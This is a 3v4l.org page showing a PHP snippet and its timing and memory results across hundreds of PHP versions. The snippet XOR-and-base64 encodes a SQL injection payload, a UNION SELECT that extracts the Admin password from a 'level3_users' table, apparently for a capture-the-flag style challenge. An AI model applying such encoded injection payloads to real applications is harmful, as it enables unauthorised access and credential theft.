3v4l.org

run code in 300+ PHP versions simultaneously
<?php function decrypt ($str) { if(preg_match('%^[a-zA-Z0-9/+]*={0,2}$%',$str)) { $str = base64_decode($str); if ($str != "" && $str != null && $str != false) { $decStr = ""; for ($i=0; $i < strlen($str); $i+=3) { $array[$i/3] = substr($str,$i,3); } foreach($array as $s) { $a = $s^192; $decStr .= chr($a); } return $decStr; } return false; } return false; } function encrypt($str) { $cryptedstr = ""; for ($i =0; $i < strlen($str); $i++) { $temp = ord(substr($str,$i,1)) ^ 192; while(strlen($temp)<3) { $temp = "0".$temp; } $cryptedstr .= $temp. ""; } return base64_encode($cryptedstr); } echo(encrypt("qzqsd' union select 1,password,3,4,5,6,7 from level3_users where level3_users.username='Admin' #")); ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.40.0120.00618.84
8.3.30.0090.00919.22
8.3.20.0070.00020.37
8.3.10.0050.00322.14
8.3.00.0080.00022.43
8.2.170.0100.01022.96
8.2.160.0100.00320.39
8.2.150.0080.00024.18
8.2.140.0040.00424.66
8.2.130.0080.00826.16
8.2.120.0040.00419.50
8.2.110.0030.00620.47
8.2.100.0040.00717.91
8.2.90.0080.00019.39
8.2.80.0060.00617.97
8.2.70.0000.00817.49
8.2.60.0030.00517.93
8.2.50.0080.00018.10
8.2.40.0060.00318.22
8.2.30.0000.00718.04
8.2.20.0030.00517.81
8.2.10.0050.00319.61
8.2.00.0020.00517.88
8.1.270.0030.00522.15
8.1.260.0080.00026.35
8.1.250.0040.00428.09
8.1.240.0090.00317.36
8.1.230.0080.00317.83
8.1.220.0040.00417.77
8.1.210.0040.00418.77
8.1.200.0060.00317.36
8.1.190.0000.00817.35
8.1.180.0040.00418.10
8.1.170.0100.00018.55
8.1.160.0040.00721.98
8.1.150.0000.00718.66
8.1.140.0080.00017.48
8.1.130.0040.00417.86
8.1.120.0000.00717.34
8.1.110.0000.00717.38
8.1.100.0030.00417.41
8.1.90.0000.00917.45
8.1.80.0000.00817.40
8.1.70.0000.00717.36
8.1.60.0040.00417.51
8.1.50.0050.00217.61
8.1.40.0000.00817.44
8.1.30.0080.00017.66
8.1.20.0000.00817.54
8.1.10.0050.00217.46
8.1.00.0040.00417.45
8.0.300.0080.00018.77
8.0.290.0080.00016.75
8.0.280.0040.00418.50
8.0.270.0000.00717.16
8.0.260.0000.00716.76
8.0.250.0030.00316.97
8.0.240.0090.00016.87
8.0.230.0050.00217.01
8.0.220.0000.00716.82
8.0.210.0030.00316.97
8.0.200.0030.00516.95
8.0.190.0030.00516.93
8.0.180.0000.00716.91
8.0.170.0040.00416.83
8.0.160.0000.00716.86
8.0.150.0040.00416.92
8.0.140.0020.00516.91
8.0.130.0030.00313.32
8.0.120.0040.00416.89
8.0.110.0000.00716.83
8.0.100.0040.00416.83
8.0.90.0000.00717.00
8.0.80.0070.01016.82
8.0.70.0000.00716.82
8.0.60.0000.00716.84
8.0.50.0070.00016.80
8.0.30.0130.00717.15
8.0.20.0140.00717.40
8.0.10.0000.00716.86
8.0.00.0080.01316.63
7.4.330.0020.00215.11
7.4.320.0030.00316.57
7.4.300.0060.00016.61
7.4.290.0070.00016.64
7.4.280.0070.00016.66
7.4.270.0070.00016.48
7.4.260.0040.00416.54
7.4.250.0030.00516.59
7.4.240.0030.00516.51
7.4.230.0070.00016.39
7.4.220.0120.01216.48
7.4.210.0050.01116.57
7.4.200.0030.00316.38
7.4.190.0070.00016.78
7.4.160.0150.00616.58
7.4.150.0120.00917.40
7.4.140.0110.00617.86
7.4.130.0090.00916.50
7.4.120.0130.00616.47
7.4.110.0110.00916.47
7.4.100.0070.01316.60
7.4.90.0120.00616.59
7.4.80.0090.00919.39
7.4.70.0060.00916.35
7.4.60.0130.00416.46
7.4.50.0040.00416.46
7.4.40.0110.00022.77
7.4.30.0080.00816.60
7.4.10.0030.01215.24
7.4.00.0070.01014.99
7.3.330.0060.00313.36
7.3.320.0050.00013.32
7.3.310.0050.00316.42
7.3.300.0040.00416.27
7.3.290.0030.01316.40
7.3.280.0090.00816.38
7.3.270.0080.00817.40
7.3.260.0120.01116.45
7.3.250.0090.00916.54
7.3.240.0190.00316.45
7.3.230.0090.01216.68
7.3.210.0070.01016.57
7.3.200.0030.01419.39
7.3.190.0090.00916.50
7.3.180.0170.00016.41
7.3.170.0100.00616.29
7.3.160.0060.00916.41
7.3.130.0100.00715.05
7.3.120.0080.00915.03
7.3.110.0070.01114.86
7.3.100.0050.00914.78
7.3.90.0050.00914.76
7.3.80.0050.00914.87
7.3.70.0050.00614.86
7.3.60.0060.00814.83
7.3.50.0050.00815.01
7.3.40.0050.00714.88
7.3.30.0030.00814.72
7.3.20.0110.00216.58
7.3.10.0060.00716.69
7.3.00.0080.00416.74
7.2.330.0100.01316.87
7.2.320.0140.00916.57
7.2.310.0130.00316.52
7.2.300.0110.01216.69
7.2.290.0120.00916.75
7.2.260.0110.00715.04
7.2.250.0080.01114.98
7.2.240.0090.00815.09
7.2.230.0080.00815.20
7.2.220.0090.00615.08
7.2.210.0070.00614.94
7.2.200.0030.00915.10
7.2.190.0070.00715.20
7.2.180.0060.00815.03
7.2.170.0060.00815.04
7.2.160.0000.01115.10
7.2.150.0070.00716.81
7.2.140.0070.01016.84
7.2.130.0040.01116.86
7.2.120.0000.01016.75
7.2.110.0130.00316.95
7.2.100.0090.01017.01
7.2.90.0000.01216.74
7.2.80.0000.01716.75
7.2.70.0100.00716.86
7.2.60.0060.00317.02
7.2.50.0040.00816.82
7.2.40.0060.00916.74
7.2.30.0070.01017.07
7.2.20.0060.00916.93
7.2.10.0040.01116.68
7.2.00.0040.01118.32
7.1.330.0070.00815.67
7.1.320.0050.00615.86
7.1.310.0040.00915.61
7.1.300.0060.00815.72
7.1.290.0040.00815.77
7.1.280.0040.01015.86
7.1.270.0030.01015.75
7.1.260.0040.00715.75
7.1.250.0050.00515.82
7.1.240.0000.01515.80
7.1.230.0070.00715.56
7.1.220.0130.00315.72
7.1.210.0040.00415.80
7.1.200.0030.00915.68
7.1.190.0110.00415.78
7.1.180.0070.00315.57
7.1.170.0000.01415.79
7.1.160.0090.00315.79
7.1.150.0030.00515.86
7.1.140.0070.00415.79
7.1.130.0110.00015.95
7.1.120.0030.01015.68
7.1.110.0090.00015.83
7.1.100.0080.00616.95
7.1.90.0040.00815.75
7.1.80.0100.00315.81
7.1.70.0070.00416.53
7.1.60.0080.01017.73
7.1.50.0070.01216.21
7.1.40.0000.01315.71
7.1.30.0030.01215.93
7.1.20.0060.01215.61
7.1.10.0090.00315.89
7.1.00.0040.04319.31
7.0.330.0000.01415.16
7.0.320.0060.01115.54
7.0.310.0000.01415.38
7.0.300.0040.00815.43
7.0.290.0030.01115.36
7.0.280.0040.01115.45
7.0.270.0080.00315.44
7.0.260.0040.01115.49
7.0.250.0030.01115.56
7.0.240.0060.01115.59
7.0.230.0120.00615.48
7.0.220.0030.01015.55
7.0.210.0060.00615.45
7.0.200.0050.00616.21
7.0.190.0110.00415.64
7.0.180.0090.00915.46
7.0.170.0060.00615.47
7.0.160.0000.01115.40
7.0.150.0100.00315.27
7.0.140.0060.04018.77
7.0.130.0070.00715.40
7.0.120.0050.00315.34
7.0.110.0060.00315.54
7.0.100.0090.00315.27
7.0.90.0110.00315.48
7.0.80.0100.00315.39
7.0.70.0000.01215.62
7.0.60.0090.03217.74
7.0.50.0050.04216.71
7.0.40.0130.03817.05
7.0.30.0330.03616.68
7.0.20.0220.04016.97
7.0.10.0050.02816.77
7.0.00.0050.03016.75
5.6.400.0060.00814.45
5.6.390.0040.01214.30
5.6.380.0030.01014.36
5.6.370.0060.00914.21
5.6.360.0090.00614.17
5.6.350.0080.00814.59
5.6.340.0070.00714.51
5.6.330.0030.01014.49
5.6.320.0030.00614.56
5.6.310.0070.00714.55
5.6.300.0110.00414.15
5.6.290.0060.00614.18
5.6.280.0060.04017.65
5.6.270.0040.01114.38
5.6.260.0000.00814.25
5.6.250.0060.00614.54
5.6.240.0040.00914.43
5.6.230.0110.00314.47
5.6.220.0070.01014.44
5.6.210.0080.02117.40
5.6.200.0080.02516.29
5.6.190.0040.04717.62
5.6.180.0200.04017.35
5.6.170.0230.04317.69
5.6.160.0030.03517.38
5.6.150.0020.02916.39
5.6.140.0070.03216.29
5.6.130.0100.02816.39
5.6.120.0090.04317.73
5.6.110.0060.03917.59
5.6.100.0030.05117.51
5.6.90.0090.03617.82
5.6.80.0090.03217.40
5.6.70.1620.02317.31
5.6.60.0000.01414.18
5.6.50.0030.00714.25
5.6.40.0000.01414.63
5.6.30.0000.01314.25
5.6.20.0000.01214.39
5.6.10.0030.00914.30
5.6.00.0090.00614.39
5.5.380.0060.00614.54
5.5.370.0070.00714.36
5.5.360.0130.00314.44
5.5.350.0100.02017.53
5.5.340.0030.04216.29
5.5.330.0100.02717.19
5.5.320.0150.04317.30
5.5.310.0030.03217.26
5.5.300.0080.02316.19
5.5.290.0030.04716.22
5.5.280.0060.02317.82
5.5.270.0120.03817.53
5.5.260.0090.04817.61
5.5.250.0060.03617.44
5.5.240.0000.04017.21
5.5.230.0060.00614.37
5.5.220.0000.01614.19
5.5.210.0060.00614.13
5.5.200.0030.01014.12
5.5.190.0030.01314.17
5.5.180.0030.01014.43
5.5.170.0070.00714.15
5.5.160.0120.00314.42
5.5.150.0100.00314.18
5.5.140.0080.00313.86
5.5.130.0000.01614.40
5.5.120.0060.00614.29
5.5.110.0100.00714.48
5.5.100.0040.01214.52
5.5.90.0110.00314.52
5.5.80.0040.01114.24
5.5.70.0030.01314.07
5.5.60.0030.01014.44
5.5.50.0040.00914.00
5.5.40.0040.00413.87
5.5.30.0070.00714.45
5.5.20.0100.00713.93
5.5.10.0030.01014.41
5.5.00.0030.01014.10
5.4.450.0330.02915.47
5.4.440.0380.02815.22
5.4.430.0070.03215.37
5.4.420.0080.02915.28
5.4.410.0090.02815.12
5.4.400.0450.00215.00
5.4.390.0450.00214.85
5.4.380.0100.03514.94
5.4.370.0170.02814.86
5.4.360.0150.02714.92
5.4.350.0120.02814.85
5.4.340.0130.02814.95
5.4.330.0040.00411.21
5.4.320.0040.02411.82
5.4.310.0070.02011.80
5.4.300.0080.02311.83
5.4.290.0040.02411.71
5.4.280.0110.01811.65
5.4.270.0030.03315.15
5.4.260.0060.03814.89
5.4.250.0030.03915.16
5.4.240.0100.03215.06
5.4.230.0100.03715.05
5.4.220.0080.03415.06
5.4.210.0030.04215.01
5.4.200.0050.03215.01
5.4.190.0160.03115.01
5.4.180.0050.03515.20
5.4.170.0050.03815.10
5.4.160.0070.04515.03
5.4.150.0020.04015.17
5.4.140.0080.03513.93
5.4.130.0090.03413.75
5.4.120.0030.04113.93
5.4.110.0100.03113.74
5.4.100.0100.03313.85
5.4.90.0070.03013.79
5.4.80.0050.03813.69
5.4.70.0090.02513.89
5.4.60.0170.02713.90
5.4.50.0100.03313.82
5.4.40.0100.03513.98
5.4.30.0110.03313.75
5.4.20.0080.03713.86
5.4.10.0120.02813.82
5.4.00.0090.02713.50
5.3.290.0040.02611.85
5.3.280.0090.03612.70
5.3.270.0070.03812.82
5.3.260.0080.03012.76
5.3.250.0120.03512.79
5.3.240.0090.04112.87
5.3.230.0050.04212.75
5.3.220.0100.03312.69
5.3.210.0070.03912.78
5.3.200.0140.02512.75
5.3.190.0100.03312.74
5.3.180.0080.03112.73
5.3.170.0040.03512.74
5.3.160.0090.03412.80
5.3.150.0100.03012.78
5.3.140.0050.03012.78
5.3.130.0050.03312.72
5.3.120.0070.03112.72
5.3.110.0070.03512.68
5.3.100.0100.02812.52
5.3.90.0140.03112.45
5.3.80.0080.03712.46
5.3.70.0100.02812.47
5.3.60.0030.03712.45
5.3.50.0090.03512.47
5.3.40.0080.02612.43
5.3.30.0030.03312.32
5.3.20.0080.02612.31
5.3.10.0050.04012.36
5.3.00.0020.03212.24
5.2.170.0070.05711.23
5.2.160.0170.03710.98
5.2.150.0000.05311.38
5.2.140.0100.05311.22
5.2.130.0030.05011.01
5.2.120.0130.03711.08
5.2.110.0100.05311.19
5.2.100.0030.04310.94
5.2.90.0000.05011.09
5.2.80.0030.06311.08
5.2.70.0070.06011.18
5.2.60.0070.06011.23
5.2.50.0170.04711.04
5.2.40.0030.06011.07
5.2.30.0030.04310.97
5.2.20.0070.05311.19
5.2.10.0070.05710.70
5.2.00.0170.03310.74
5.1.60.0130.04310.20
5.1.50.0100.04010.20
5.1.40.0000.04310.22
5.1.30.0230.04710.52
5.1.20.0070.04310.34
5.1.10.0100.04710.23
5.1.00.0000.0509.91
5.0.50.0000.0338.63
5.0.40.0170.0278.43
5.0.30.0070.0578.20
5.0.20.0070.0338.30
5.0.10.0000.0308.16
5.0.00.0130.0378.14
4.4.90.0070.0206.63
4.4.80.0030.0336.63
4.4.70.0070.0206.63
4.4.60.0070.0236.63
4.4.50.0070.0276.63
4.4.40.0030.0336.63
4.4.30.0070.0276.63
4.4.20.0030.0236.63
4.4.10.0130.0206.63
4.4.00.0100.0306.63
4.3.110.0030.0306.63
4.3.100.0030.0236.63
4.3.90.0030.0206.63
4.3.80.0030.0376.63
4.3.70.0100.0136.63
4.3.60.0100.0236.63
4.3.50.0030.0436.63
4.3.40.0030.0336.63
4.3.30.0100.0206.63
4.3.20.0000.0236.63
4.3.10.0100.0176.63
4.3.00.0000.0236.15

preferences:
53.46 ms | 400 KiB | 5 Q